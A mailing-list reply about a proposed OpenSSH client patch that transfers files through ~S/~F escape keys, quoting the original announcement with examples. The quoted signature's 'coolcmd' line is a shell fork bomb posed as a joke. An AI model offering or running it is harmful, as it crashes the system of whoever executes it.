I'm sure I'm missing something here. So I'll just ask, how does this
differ from using cat the transfer the files through ssh?

For example:
  Server => Client
     ssh server.domain.com "cat /home/user/file.tmp" >>file.tmp
  Client => Server
     cat file.tmp | ssh server.domain.com "cat - >>/home/user/file.tmp"

I guess your patch would allow this to be done without opening an ssh
session just to transfer the file. Meaning you could escape out of an
interactive ssh session and transfer the file..?

On 1/25/07, Thomas Habets <[EMAIL PROTECTED]> wrote:
This mail didn't seem to go through to the development list (at least not to
the MARC archive), so I'm sending it here too.


Hello.

Here is a patch to allow for sending data from a local file on the
client to the terminal of the server as if typed. I implemented it
through the escape keys. The reverse is also there, recording your
session and storing it on the client host.

The patch is client-side only, and should work with all servers (not tested).

I'm using it for transferring files multiple hops (after a uuencode),
so that I don't need to open more (multi-hop) connections, do
forwarding or downloading one hop at a time.

Example of Sending, meaning client->server
(all this in one terminal, with [this typed]):
-----
client$ [echo hello world > teh_file]
client$ [ssh server]
server$ [cat > teh_file]
[~S]
Local file> teh_file
hello world
[^D]
server$ [cat teh_file]
hello world
server$

Replace cat with uuencode for binary stuff. Or do it always.

Fetching server->client:
-------
client$ [ssh midpoint]
midpoint$ [ssh server]
server$ [~F]
Save to local file> booty.db.uu
server$ uuencode booty.db booty.db
begin 644 booty.db
...
...
end
server$ [~F] Closing fetch script file
server$ [exit]
mid$ [exit]
client$ [cat booty.db.uu]
uuencode booty.db booty.db              <-- saved in file :-(
begin 644 booty.db
...
...
server$                                 <-- not a prompt, saved in file :-(
client$

uudecode strips the extra stuff without complaining.

It's enabled with PermitLocalCommand, because the security aspect of them is
similar to that one.

Since it's client-only, you can even use it to download a router conf
through telnet:
 ssh to locahost, then telnet to the router and record doing "sh
ru". Yes, I know this can be done with "script", it's just an example.

Things I'm not pleased with:
  * for fetch_script, "sniffing" in channels.c. There must be a better place.
    also, it's probably taking in too much there.
  * used as-is, the fetch will not transfer just a file, since you get
 garbage before and after. The uudecoding above fixes that, though.
  * The escape letters (S/F). Maybe U/D for upload/download?
  * I'd really like these to be 8-bit clean and not have to go through
    uuencode. I don't really see how, though, without changing the server
    too.
  * should probably have its own config item. PermitScripting or much better
  * everything is echoed by default. Of course, you can turn off echo
    on the server for uploading, but something may need to be done for
    downloading
  * should this all be under escape-C?
  * the prompts suck

Patch is against 4.5p1.

---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "[EMAIL PROTECTED]" };
  char kernel[]    = { "Linux" };
  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt"; };
  char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;



Reply via email to